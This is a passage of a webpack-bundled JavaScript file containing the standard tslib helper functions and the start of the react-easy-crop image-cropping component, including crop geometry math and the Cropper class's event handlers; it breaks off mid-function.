58043
58044function __runInitializers(thisArg, initializers, value) {
58045 var useValue = arguments.length > 2;
58046 for (var i = 0; i < initializers.length; i++) {
58047 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
58048 }
58049 return useValue ? value : void 0;
58050};
58051
58052function __propKey(x) {
58053 return typeof x === "symbol" ? x : "".concat(x);
58054};
58055
58056function __setFunctionName(f, name, prefix) {
58057 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
58058 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
58059};
58060
58061function __metadata(metadataKey, metadataValue) {
58062 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
58063}
58064
58065function __awaiter(thisArg, _arguments, P, generator) {
58066 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
58067 return new (P || (P = Promise))(function (resolve, reject) {
58068 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
58069 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
58070 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
58071 step((generator = generator.apply(thisArg, _arguments || [])).next());
58072 });
58073}
58074
58075function __generator(thisArg, body) {
58076 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
58077 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
58078 function verb(n) { return function (v) { return step([n, v]); }; }
58079 function step(op) {
58080 if (f) throw new TypeError("Generator is already executing.");
58081 while (g && (g = 0, op[0] && (_ = 0)), _) try {
58082 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
58083 if (y = 0, t) op = [op[0] & 2, t.value];
58084 switch (op[0]) {
58085 case 0: case 1: t = op; break;
58086 case 4: _.label++; return { value: op[1], done: false };
58087 case 5: _.label++; y = op[1]; op = [0]; continue;
58088 case 7: op = _.ops.pop(); _.trys.pop(); continue;
58089 default:
58090 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
58091 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
58092 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
58093 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
58094 if (t[2]) _.ops.pop();
58095 _.trys.pop(); continue;
58096 }
58097 op = body.call(thisArg, _);
58098 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
58099 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
58100 }
58101}
58102
58103var __createBinding = Object.create ? (function(o, m, k, k2) {
58104 if (k2 === undefined) k2 = k;
58105 var desc = Object.getOwnPropertyDescriptor(m, k);
58106 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
58107 desc = { enumerable: true, get: function() { return m[k]; } };
58108 }
58109 Object.defineProperty(o, k2, desc);
58110}) : (function(o, m, k, k2) {
58111 if (k2 === undefined) k2 = k;
58112 o[k2] = m[k];
58113});
58114
58115function __exportStar(m, o) {
58116 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
58117}
58118
58119function __values(o) {
58120 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
58121 if (m) return m.call(o);
58122 if (o && typeof o.length === "number") return {
58123 next: function () {
58124 if (o && i >= o.length) o = void 0;
58125 return { value: o && o[i++], done: !o };
58126 }
58127 };
58128 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
58129}
58130
58131function __read(o, n) {
58132 var m = typeof Symbol === "function" && o[Symbol.iterator];
58133 if (!m) return o;
58134 var i = m.call(o), r, ar = [], e;
58135 try {
58136 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
58137 }
58138 catch (error) { e = { error: error }; }
58139 finally {
58140 try {
58141 if (r && !r.done && (m = i["return"])) m.call(i);
58142 }
58143 finally { if (e) throw e.error; }
58144 }
58145 return ar;
58146}
58147
58148/** @deprecated */
58149function __spread() {
58150 for (var ar = [], i = 0; i < arguments.length; i++)
58151 ar = ar.concat(__read(arguments[i]));
58152 return ar;
58153}
58154
58155/** @deprecated */
58156function __spreadArrays() {
58157 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
58158 for (var r = Array(s), k = 0, i = 0; i < il; i++)
58159 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
58160 r[k] = a[j];
58161 return r;
58162}
58163
58164function __spreadArray(to, from, pack) {
58165 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
58166 if (ar || !(i in from)) {
58167 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
58168 ar[i] = from[i];
58169 }
58170 }
58171 return to.concat(ar || Array.prototype.slice.call(from));
58172}
58173
58174function __await(v) {
58175 return this instanceof __await ? (this.v = v, this) : new __await(v);
58176}
58177
58178function __asyncGenerator(thisArg, _arguments, generator) {
58179 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
58180 var g = generator.apply(thisArg, _arguments || []), i, q = [];
58181 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
58182 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
58183 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
58184 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
58185 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
58186 function fulfill(value) { resume("next", value); }
58187 function reject(value) { resume("throw", value); }
58188 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
58189}
58190
58191function __asyncDelegator(o) {
58192 var i, p;
58193 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
58194 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
58195}
58196
58197function __asyncValues(o) {
58198 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
58199 var m = o[Symbol.asyncIterator], i;
58200 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
58201 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
58202 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
58203}
58204
58205function __makeTemplateObject(cooked, raw) {
58206 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
58207 return cooked;
58208};
58209
58210var __setModuleDefault = Object.create ? (function(o, v) {
58211 Object.defineProperty(o, "default", { enumerable: true, value: v });
58212}) : function(o, v) {
58213 o["default"] = v;
58214};
58215
58216var ownKeys = function(o) {
58217 ownKeys = Object.getOwnPropertyNames || function (o) {
58218 var ar = [];
58219 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
58220 return ar;
58221 };
58222 return ownKeys(o);
58223};
58224
58225function __importStar(mod) {
58226 if (mod && mod.__esModule) return mod;
58227 var result = {};
58228 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
58229 __setModuleDefault(result, mod);
58230 return result;
58231}
58232
58233function __importDefault(mod) {
58234 return (mod && mod.__esModule) ? mod : { default: mod };
58235}
58236
58237function __classPrivateFieldGet(receiver, state, kind, f) {
58238 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
58239 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
58240 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
58241}
58242
58243function __classPrivateFieldSet(receiver, state, value, kind, f) {
58244 if (kind === "m") throw new TypeError("Private method is not writable");
58245 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
58246 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
58247 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
58248}
58249
58250function __classPrivateFieldIn(state, receiver) {
58251 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
58252 return typeof state === "function" ? receiver === state : state.has(receiver);
58253}
58254
58255function __addDisposableResource(env, value, async) {
58256 if (value !== null && value !== void 0) {
58257 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
58258 var dispose, inner;
58259 if (async) {
58260 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
58261 dispose = value[Symbol.asyncDispose];
58262 }
58263 if (dispose === void 0) {
58264 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
58265 dispose = value[Symbol.dispose];
58266 if (async) inner = dispose;
58267 }
58268 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
58269 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
58270 env.stack.push({ value: value, dispose: dispose, async: async });
58271 }
58272 else if (async) {
58273 env.stack.push({ async: true });
58274 }
58275 return value;
58276}
58277
58278var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
58279 var e = new Error(message);
58280 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
58281};
58282
58283function __disposeResources(env) {
58284 function fail(e) {
58285 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
58286 env.hasError = true;
58287 }
58288 var r, s = 0;
58289 function next() {
58290 while (r = env.stack.pop()) {
58291 try {
58292 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
58293 if (r.dispose) {
58294 var result = r.dispose.call(r.value);
58295 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
58296 }
58297 else s |= 1;
58298 }
58299 catch (e) {
58300 fail(e);
58301 }
58302 }
58303 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
58304 if (env.hasError) throw env.error;
58305 }
58306 return next();
58307}
58308
58309function __rewriteRelativeImportExtension(path, preserveJsx) {
58310 if (typeof path === "string" && /^\.\.?\//.test(path)) {
58311 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
58312 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
58313 });
58314 }
58315 return path;
58316}
58317
58318/* harmony default export */ const tslib_es6 = ({
58319 __extends,
58320 __assign,
58321 __rest,
58322 __decorate,
58323 __param,
58324 __esDecorate,
58325 __runInitializers,
58326 __propKey,
58327 __setFunctionName,
58328 __metadata,
58329 __awaiter,
58330 __generator,
58331 __createBinding,
58332 __exportStar,
58333 __values,
58334 __read,
58335 __spread,
58336 __spreadArrays,
58337 __spreadArray,
58338 __await,
58339 __asyncGenerator,
58340 __asyncDelegator,
58341 __asyncValues,
58342 __makeTemplateObject,
58343 __importStar,
58344 __importDefault,
58345 __classPrivateFieldGet,
58346 __classPrivateFieldSet,
58347 __classPrivateFieldIn,
58348 __addDisposableResource,
58349 __disposeResources,
58350 __rewriteRelativeImportExtension,
58351});
58352
58353// EXTERNAL MODULE: ./node_modules/normalize-wheel/index.js
58354var normalize_wheel = __webpack_require__(7520);
58355var normalize_wheel_default = /*#__PURE__*/__webpack_require__.n(normalize_wheel);
58356;// ./node_modules/react-easy-crop/index.module.js
58357
58358
58359
58360
58361/**
58362 * Compute the dimension of the crop area based on media size,
58363 * aspect ratio and optionally rotation
58364 */
58365function getCropSize(mediaWidth, mediaHeight, containerWidth, containerHeight, aspect, rotation) {
58366 if (rotation === void 0) {
58367 rotation = 0;
58368 }
58369 var _a = rotateSize(mediaWidth, mediaHeight, rotation),
58370 width = _a.width,
58371 height = _a.height;
58372 var fittingWidth = Math.min(width, containerWidth);
58373 var fittingHeight = Math.min(height, containerHeight);
58374 if (fittingWidth > fittingHeight * aspect) {
58375 return {
58376 width: fittingHeight * aspect,
58377 height: fittingHeight
58378 };
58379 }
58380 return {
58381 width: fittingWidth,
58382 height: fittingWidth / aspect
58383 };
58384}
58385/**
58386 * Compute media zoom.
58387 * We fit the media into the container with "max-width: 100%; max-height: 100%;"
58388 */
58389function getMediaZoom(mediaSize) {
58390 // Take the axis with more pixels to improve accuracy
58391 return mediaSize.width > mediaSize.height ? mediaSize.width / mediaSize.naturalWidth : mediaSize.height / mediaSize.naturalHeight;
58392}
58393/**
58394 * Ensure a new media position stays in the crop area.
58395 */
58396function restrictPosition(position, mediaSize, cropSize, zoom, rotation) {
58397 if (rotation === void 0) {
58398 rotation = 0;
58399 }
58400 var _a = rotateSize(mediaSize.width, mediaSize.height, rotation),
58401 width = _a.width,
58402 height = _a.height;
58403 return {
58404 x: restrictPositionCoord(position.x, width, cropSize.width, zoom),
58405 y: restrictPositionCoord(position.y, height, cropSize.height, zoom)
58406 };
58407}
58408function restrictPositionCoord(position, mediaSize, cropSize, zoom) {
58409 var maxPosition = mediaSize * zoom / 2 - cropSize / 2;
58410 return clamp(position, -maxPosition, maxPosition);
58411}
58412function getDistanceBetweenPoints(pointA, pointB) {
58413 return Math.sqrt(Math.pow(pointA.y - pointB.y, 2) + Math.pow(pointA.x - pointB.x, 2));
58414}
58415function getRotationBetweenPoints(pointA, pointB) {
58416 return Math.atan2(pointB.y - pointA.y, pointB.x - pointA.x) * 180 / Math.PI;
58417}
58418/**
58419 * Compute the output cropped area of the media in percentages and pixels.
58420 * x/y are the top-left coordinates on the src media
58421 */
58422function computeCroppedArea(crop, mediaSize, cropSize, aspect, zoom, rotation, restrictPosition) {
58423 if (rotation === void 0) {
58424 rotation = 0;
58425 }
58426 if (restrictPosition === void 0) {
58427 restrictPosition = true;
58428 }
58429 // if the media is rotated by the user, we cannot limit the position anymore
58430 // as it might need to be negative.
58431 var limitAreaFn = restrictPosition ? limitArea : noOp;
58432 var mediaBBoxSize = rotateSize(mediaSize.width, mediaSize.height, rotation);
58433 var mediaNaturalBBoxSize = rotateSize(mediaSize.naturalWidth, mediaSize.naturalHeight, rotation);
58434 // calculate the crop area in percentages
58435 // in the rotated space
58436 var croppedAreaPercentages = {
58437 x: limitAreaFn(100, ((mediaBBoxSize.width - cropSize.width / zoom) / 2 - crop.x / zoom) / mediaBBoxSize.width * 100),
58438 y: limitAreaFn(100, ((mediaBBoxSize.height - cropSize.height / zoom) / 2 - crop.y / zoom) / mediaBBoxSize.height * 100),
58439 width: limitAreaFn(100, cropSize.width / mediaBBoxSize.width * 100 / zoom),
58440 height: limitAreaFn(100, cropSize.height / mediaBBoxSize.height * 100 / zoom)
58441 };
58442 // we compute the pixels size naively
58443 var widthInPixels = Math.round(limitAreaFn(mediaNaturalBBoxSize.width, croppedAreaPercentages.width * mediaNaturalBBoxSize.width / 100));
58444 var heightInPixels = Math.round(limitAreaFn(mediaNaturalBBoxSize.height, croppedAreaPercentages.height * mediaNaturalBBoxSize.height / 100));
58445 var isImgWiderThanHigh = mediaNaturalBBoxSize.width >= mediaNaturalBBoxSize.height * aspect;
58446 // then we ensure the width and height exactly match the aspect (to avoid rounding approximations)
58447 // if the media is wider than high, when zoom is 0, the crop height will be equals to image height
58448 // thus we want to compute the width from the height and aspect for accuracy.
58449 // Otherwise, we compute the height from width and aspect.
58450 var sizePixels = isImgWiderThanHigh ? {
58451 width: Math.round(heightInPixels * aspect),
58452 height: heightInPixels
58453 } : {
58454 width: widthInPixels,
58455 height: Math.round(widthInPixels / aspect)
58456 };
58457 var croppedAreaPixels = __assign(__assign({}, sizePixels), {
58458 x: Math.round(limitAreaFn(mediaNaturalBBoxSize.width - sizePixels.width, croppedAreaPercentages.x * mediaNaturalBBoxSize.width / 100)),
58459 y: Math.round(limitAreaFn(mediaNaturalBBoxSize.height - sizePixels.height, croppedAreaPercentages.y * mediaNaturalBBoxSize.height / 100))
58460 });
58461 return {
58462 croppedAreaPercentages: croppedAreaPercentages,
58463 croppedAreaPixels: croppedAreaPixels
58464 };
58465}
58466/**
58467 * Ensure the returned value is between 0 and max
58468 */
58469function limitArea(max, value) {
58470 return Math.min(max, Math.max(0, value));
58471}
58472function noOp(_max, value) {
58473 return value;
58474}
58475/**
58476 * Compute crop and zoom from the croppedAreaPercentages.
58477 */
58478function getInitialCropFromCroppedAreaPercentages(croppedAreaPercentages, mediaSize, rotation, cropSize, minZoom, maxZoom) {
58479 var mediaBBoxSize = rotateSize(mediaSize.width, mediaSize.height, rotation);
58480 // This is the inverse process of computeCroppedArea
58481 var zoom = clamp(cropSize.width / mediaBBoxSize.width * (100 / croppedAreaPercentages.width), minZoom, maxZoom);
58482 var crop = {
58483 x: zoom * mediaBBoxSize.width / 2 - cropSize.width / 2 - mediaBBoxSize.width * zoom * (croppedAreaPercentages.x / 100),
58484 y: zoom * mediaBBoxSize.height / 2 - cropSize.height / 2 - mediaBBoxSize.height * zoom * (croppedAreaPercentages.y / 100)
58485 };
58486 return {
58487 crop: crop,
58488 zoom: zoom
58489 };
58490}
58491/**
58492 * Compute zoom from the croppedAreaPixels
58493 */
58494function getZoomFromCroppedAreaPixels(croppedAreaPixels, mediaSize, cropSize) {
58495 var mediaZoom = getMediaZoom(mediaSize);
58496 return cropSize.height > cropSize.width ? cropSize.height / (croppedAreaPixels.height * mediaZoom) : cropSize.width / (croppedAreaPixels.width * mediaZoom);
58497}
58498/**
58499 * Compute crop and zoom from the croppedAreaPixels
58500 */
58501function getInitialCropFromCroppedAreaPixels(croppedAreaPixels, mediaSize, rotation, cropSize, minZoom, maxZoom) {
58502 if (rotation === void 0) {
58503 rotation = 0;
58504 }
58505 var mediaNaturalBBoxSize = rotateSize(mediaSize.naturalWidth, mediaSize.naturalHeight, rotation);
58506 var zoom = clamp(getZoomFromCroppedAreaPixels(croppedAreaPixels, mediaSize, cropSize), minZoom, maxZoom);
58507 var cropZoom = cropSize.height > cropSize.width ? cropSize.height / croppedAreaPixels.height : cropSize.width / croppedAreaPixels.width;
58508 var crop = {
58509 x: ((mediaNaturalBBoxSize.width - croppedAreaPixels.width) / 2 - croppedAreaPixels.x) * cropZoom,
58510 y: ((mediaNaturalBBoxSize.height - croppedAreaPixels.height) / 2 - croppedAreaPixels.y) * cropZoom
58511 };
58512 return {
58513 crop: crop,
58514 zoom: zoom
58515 };
58516}
58517/**
58518 * Return the point that is the center of point a and b
58519 */
58520function getCenter(a, b) {
58521 return {
58522 x: (b.x + a.x) / 2,
58523 y: (b.y + a.y) / 2
58524 };
58525}
58526function getRadianAngle(degreeValue) {
58527 return degreeValue * Math.PI / 180;
58528}
58529/**
58530 * Returns the new bounding area of a rotated rectangle.
58531 */
58532function rotateSize(width, height, rotation) {
58533 var rotRad = getRadianAngle(rotation);
58534 return {
58535 width: Math.abs(Math.cos(rotRad) * width) + Math.abs(Math.sin(rotRad) * height),
58536 height: Math.abs(Math.sin(rotRad) * width) + Math.abs(Math.cos(rotRad) * height)
58537 };
58538}
58539/**
58540 * Clamp value between min and max
58541 */
58542function clamp(value, min, max) {
58543 return Math.min(Math.max(value, min), max);
58544}
58545/**
58546 * Combine multiple class names into a single string.
58547 */
58548function classNames() {
58549 var args = [];
58550 for (var _i = 0; _i < arguments.length; _i++) {
58551 args[_i] = arguments[_i];
58552 }
58553 return args.filter(function (value) {
58554 if (typeof value === 'string' && value.length > 0) {
58555 return true;
58556 }
58557 return false;
58558 }).join(' ').trim();
58559}
58560
58561var css_248z = ".reactEasyCrop_Container {\n position: absolute;\n top: 0;\n left: 0;\n right: 0;\n bottom: 0;\n overflow: hidden;\n user-select: none;\n touch-action: none;\n cursor: move;\n display: flex;\n justify-content: center;\n align-items: center;\n}\n\n.reactEasyCrop_Image,\n.reactEasyCrop_Video {\n will-change: transform; /* this improves performances and prevent painting issues on iOS Chrome */\n}\n\n.reactEasyCrop_Contain {\n max-width: 100%;\n max-height: 100%;\n margin: auto;\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n right: 0;\n}\n.reactEasyCrop_Cover_Horizontal {\n width: 100%;\n height: auto;\n}\n.reactEasyCrop_Cover_Vertical {\n width: auto;\n height: 100%;\n}\n\n.reactEasyCrop_CropArea {\n position: absolute;\n left: 50%;\n top: 50%;\n transform: translate(-50%, -50%);\n border: 1px solid rgba(255, 255, 255, 0.5);\n box-sizing: border-box;\n box-shadow: 0 0 0 9999em;\n color: rgba(0, 0, 0, 0.5);\n overflow: hidden;\n}\n\n.reactEasyCrop_CropAreaRound {\n border-radius: 50%;\n}\n\n.reactEasyCrop_CropAreaGrid::before {\n content: ' ';\n box-sizing: border-box;\n position: absolute;\n border: 1px solid rgba(255, 255, 255, 0.5);\n top: 0;\n bottom: 0;\n left: 33.33%;\n right: 33.33%;\n border-top: 0;\n border-bottom: 0;\n}\n\n.reactEasyCrop_CropAreaGrid::after {\n content: ' ';\n box-sizing: border-box;\n position: absolute;\n border: 1px solid rgba(255, 255, 255, 0.5);\n top: 33.33%;\n bottom: 33.33%;\n left: 0;\n right: 0;\n border-left: 0;\n border-right: 0;\n}\n";
58562
58563var index_module_MIN_ZOOM = 1;
58564var index_module_MAX_ZOOM = 3;
58565var Cropper = /** @class */function (_super) {
58566 __extends(Cropper, _super);
58567 function Cropper() {
58568 var _this = _super !== null && _super.apply(this, arguments) || this;
58569 _this.imageRef = external_React_.createRef();
58570 _this.videoRef = external_React_.createRef();
58571 _this.containerPosition = {
58572 x: 0,
58573 y: 0
58574 };
58575 _this.containerRef = null;
58576 _this.styleRef = null;
58577 _this.containerRect = null;
58578 _this.mediaSize = {
58579 width: 0,
58580 height: 0,
58581 naturalWidth: 0,
58582 naturalHeight: 0
58583 };
58584 _this.dragStartPosition = {
58585 x: 0,
58586 y: 0
58587 };
58588 _this.dragStartCrop = {
58589 x: 0,
58590 y: 0
58591 };
58592 _this.gestureZoomStart = 0;
58593 _this.gestureRotationStart = 0;
58594 _this.isTouching = false;
58595 _this.lastPinchDistance = 0;
58596 _this.lastPinchRotation = 0;
58597 _this.rafDragTimeout = null;
58598 _this.rafPinchTimeout = null;
58599 _this.wheelTimer = null;
58600 _this.currentDoc = typeof document !== 'undefined' ? document : null;
58601 _this.currentWindow = typeof window !== 'undefined' ? window : null;
58602 _this.resizeObserver = null;
58603 _this.state = {
58604 cropSize: null,
58605 hasWheelJustStarted: false,
58606 mediaObjectFit: undefined
58607 };
58608 _this.initResizeObserver = function () {
58609 if (typeof window.ResizeObserver === 'undefined' || !_this.containerRef) {
58610 return;
58611 }
58612 var isFirstResize = true;
58613 _this.resizeObserver = new window.ResizeObserver(function (entries) {
58614 if (isFirstResize) {
58615 isFirstResize = false; // observe() is called on mount, we don't want to trigger a recompute on mount
58616 return;
58617 }
58618 _this.computeSizes();
58619 });
58620 _this.resizeObserver.observe(_this.containerRef);
58621 };
58622 // this is to prevent Safari on iOS >= 10 to zoom the page
58623 _this.preventZoomSafari = function (e) {
58624 return e.preventDefault();
58625 };
58626 _this.cleanEvents = function () {
58627 if (!_this.currentDoc) return;
58628 _this.currentDoc.removeEventListener('mousemove', _this.onMouseMove);
58629 _this.currentDoc.removeEventListener('mouseup', _this.onDragStopped);
58630 _this.currentDoc.removeEventListener('touchmove', _this.onTouchMove);
58631 _this.currentDoc.removeEventListener('touchend', _this.onDragStopped);
58632 _this.currentDoc.removeEventListener('gesturemove', _this.onGestureMove);
58633 _this.currentDoc.removeEventListener('gestureend', _this.onGestureEnd);
58634 _this.currentDoc.removeEventListener('scroll', _this.onScroll);
58635 };
58636 _this.clearScrollEvent = function () {
58637 if (_this.containerRef) _this.containerRef.removeEventListener('wheel', _this.onWheel);
58638 if (_this.wheelTimer) {
58639 clearTimeout(_this.wheelTimer);
58640 }
58641 };
58642 _this.onMediaLoad = function () {
58643 var cropSize = _this.computeSizes();
58644 if (cropSize) {
58645 _this.emitCropData();
58646 _this.setInitialCrop(cropSize);
58647 }
58648 if (_this.props.onMediaLoaded) {
58649 _this.props.onMediaLoaded(_this.mediaSize);
58650 }
58651 };
58652 _this.setInitialCrop = function (cropSize) {
58653 if (_this.props.initialCroppedAreaPercentages) {
58654 var _a = getInitialCropFromCroppedAreaPercentages(_this.props.initialCroppedAreaPercentages, _this.mediaSize, _this.props.rotation, cropSize, _this.props.minZoom, _this.props.maxZoom),
58655 crop = _a.crop,
58656 zoom = _a.zoom;
58657 _this.props.onCropChange(crop);
58658 _this.props.onZoomChange && _this.props.onZoomChange(zoom);
58659 } else if (_this.props.initialCroppedAreaPixels) {
58660 var _b = getInitialCropFromCroppedAreaPixels(_this.props.initialCroppedAreaPixels, _this.mediaSize, _this.props.rotation, cropSize, _this.props.minZoom, _this.props.maxZoom),
58661 crop = _b.crop,
58662 zoom = _b.zoom;
58663 _this.props.onCropChange(crop);
58664 _this.props.onZoomChange && _this.props.onZoomChange(zoom);
58665 }
58666 };
58667 _this.computeSizes = function () {
58668 var _a, _b, _c, _d, _e, _f;
58669 var mediaRef = _this.imageRef.current || _this.videoRef.current;
58670 if (mediaRef && _this.containerRef) {
58671 _this.containerRect = _this.containerRef.getBoundingClientRect();
58672 _this.saveContainerPosition();
58673 var containerAspect = _this.containerRect.width / _this.containerRect.height;
58674 var naturalWidth = ((_a = _this.imageRef.current) === null || _a === void 0 ? void 0 : _a.naturalWidth) || ((_b = _this.videoRef.current) === null || _b === void 0 ? void 0 : _b.videoWidth) || 0;
58675 var naturalHeight = ((_c = _this.imageRef.current) === null || _c === void 0 ? void 0 : _c.naturalHeight) || ((_d = _this.videoRef.current) === null || _d === void 0 ? void 0 : _d.videoHeight) || 0;
58676 var isMediaScaledDown = mediaRef.offsetWidth < naturalWidth || mediaRef.offsetHeight < naturalHeight;
58677 var mediaAspect = naturalWidth / naturalHeight;
58678 // We do not rely on the offsetWidth/offsetHeight if the media is scaled down
58679 // as the values they report are rounded. That will result in precision losses
58680 // when calculating zoom. We use the fact that the media is positionned relative
58681 // to the container. That allows us to use the container's dimensions
58682 // and natural aspect ratio of the media to calculate accurate media size.
58683 // However, for this to work, the container should not be rotated
58684 var renderedMediaSize = void 0;
58685 if (isMediaScaledDown) {
58686 switch (_this.state.mediaObjectFit) {
58687 default:
58688 case 'contain':
58689 renderedMediaSize = containerAspect > mediaAspect ? {
58690 width: _this.containerRect.height * mediaAspect,
58691 height: _this.containerRect.height
58692 } : {
58693 width: _this.containerRect.width,
58694 height: _this.containerRect.width / mediaAspect
58695 };
58696 break;
58697 case 'horizontal-cover':
58698 renderedMediaSize = {
58699 width: _this.containerRect.width,
58700 height: _this.containerRect.width / mediaAspect
58701 };
58702 break;
58703 case 'vertical-cover':
58704 renderedMediaSize = {
58705 width: _this.containerRect.height * mediaAspect,
58706 height: _this.containerRect.height
58707 };
58708 break;
58709 }
58710 } else {
58711 renderedMediaSize = {
58712 width: mediaRef.offsetWidth,
58713 height: mediaRef.offsetHeight
58714 };
58715 }
58716 _this.mediaSize = __assign(__assign({}, renderedMediaSize), {
58717 naturalWidth: naturalWidth,
58718 naturalHeight: naturalHeight
58719 });
58720 // set media size in the parent
58721 if (_this.props.setMediaSize) {
58722 _this.props.setMediaSize(_this.mediaSize);
58723 }
58724 var cropSize = _this.props.cropSize ? _this.props.cropSize : getCropSize(_this.mediaSize.width, _this.mediaSize.height, _this.containerRect.width, _this.containerRect.height, _this.props.aspect, _this.props.rotation);
58725 if (((_e = _this.state.cropSize) === null || _e === void 0 ? void 0 : _e.height) !== cropSize.height || ((_f = _this.state.cropSize) === null || _f === void 0 ? void 0 : _f.width) !== cropSize.width) {
58726 _this.props.onCropSizeChange && _this.props.onCropSizeChange(cropSize);
58727 }
58728 _this.setState({
58729 cropSize: cropSize
58730 }, _this.recomputeCropPosition);
58731 // pass crop size to parent
58732 if (_this.props.setCropSize) {
58733 _this.props.setCropSize(cropSize);
58734 }
58735 return cropSize;
58736 }
58737 };
58738 _this.saveContainerPosition = function () {
58739 if (_this.containerRef) {
58740 var bounds = _this.containerRef.getBoundingClientRect();
58741 _this.containerPosition = {
58742 x: bounds.left,
58743 y: bounds.top
58744 };
58745 }
58746 };
58747 _this.onMouseDown = function (e) {
58748 if (!_this.currentDoc) return;
58749 e.preventDefault();
58750 _this.currentDoc.addEventListener('mousemove', _this.onMouseMove);
58751 _this.currentDoc.addEventListener('mouseup', _this.onDragStopped);
58752 _this.saveContainerPosition();
58753 _this.onDragStart(Cropper.getMousePoint(e));
58754 };
58755 _this.onMouseMove = function (e) {
58756 return _this.onDrag(Cropper.getMousePoint(e));
58757 };
58758 _this.onScroll = function (e) {
58759 if (!_this.currentDoc) return;
